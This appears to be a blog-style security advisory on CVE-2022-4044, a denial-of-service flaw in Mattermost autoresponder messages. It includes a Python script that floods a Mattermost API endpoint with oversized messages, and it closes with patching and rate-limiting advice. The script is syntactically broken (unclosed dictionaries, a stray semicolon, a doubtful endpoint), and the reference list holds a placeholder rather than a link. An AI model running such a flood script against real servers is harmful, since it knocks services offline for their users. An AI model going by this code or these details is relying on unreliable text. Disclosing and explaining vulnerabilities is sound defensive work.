A newly disclosed denial-of-service (DoS) vulnerability, labeled as CVE-2022-4044, has been identified in the popular open-source messaging platform Mattermost. This vulnerability allows an authenticated user to send multiple large autoresponder messages, which can potentially crash the server, affecting its overall availability and performance. In this post, we dive deeper into the vulnerability's details, its origins, a code snippet demonstrating its exploit, and links to original references, allowing you to be better prepared in addressing this security risk.

Exploit Details

The vulnerability can be exploited by an authenticated user who has access to the Mattermost server, typically as a member of a team workspace. By sending multiple excessively large autoresponder messages through a malicious script, the attacker can consume excessive system resources, leading to server unresponsiveness or a crash.

Suppose you are using Mattermost for your team collaboration and communication. In that case, it's crucial to understand how this vulnerability can be exploited, its impact on your infrastructure, and how to remediate the issue as soon as possible.

Code Snippet

Here's a simple Python script that demonstrates how an attacker could potentially exploit this vulnerability:

import requests

mattermost_url = "https://your.mattermost.server.com";
access_token = "your_access_token_here"
max_message_length = 65535

headers = {
    "Authorization": f"Bearer {access_token}",
    "Content-Type": "application/json",

large_autoresponder_message = "A" * max_message_length

for _ in range(10):  # Increase this number to send more messages
    data = {
        "message": large_autoresponder_message,
        "channel_id": "your_channel_id_here",

    response = requests.post(f"{mattermost_url}/api/v4/users/me/status", json=data, headers=headers)

Note that this is a demonstration of a security vulnerability and should not be used for malicious purposes. Ensure you have permission from the target organization or the appropriate authority before testing or validating the vulnerability.

Original References

For more detailed information, you can refer to the following official sources regarding CVE-2022-4044:

3. NVD – National Vulnerability Database: [Link to the National Vulnerability Database entry for CVE-2022-4044]

Mitigation and Remediation

To resolve this vulnerability promptly, we highly recommend Mattermost administrators to apply the latest security patches provided by the Mattermost development team. You can find the latest releases and patches on their official GitHub repository here.

Furthermore, consider implementing strict monitoring and rate-limiting controls on server access and ensuring that proper user authentication and authorization are maintained. This will reduce the likelihood of exploitation by unauthenticated or unauthorized users.

In conclusion, the CVE-2022-4044 denial-of-service vulnerability in Mattermost is a reminder for organizations to stay up-to-date with security patches, monitor usage, and maintain strict control over their communication platforms to mitigate potential threats. By understanding the vulnerability and how it can be exploited, you'll be better equipped to protect your infrastructure and valuable business data.


Published on: 11/23/2022 06:15:00 UTC
Last modified on: 11/26/2022 03:36:00 UTC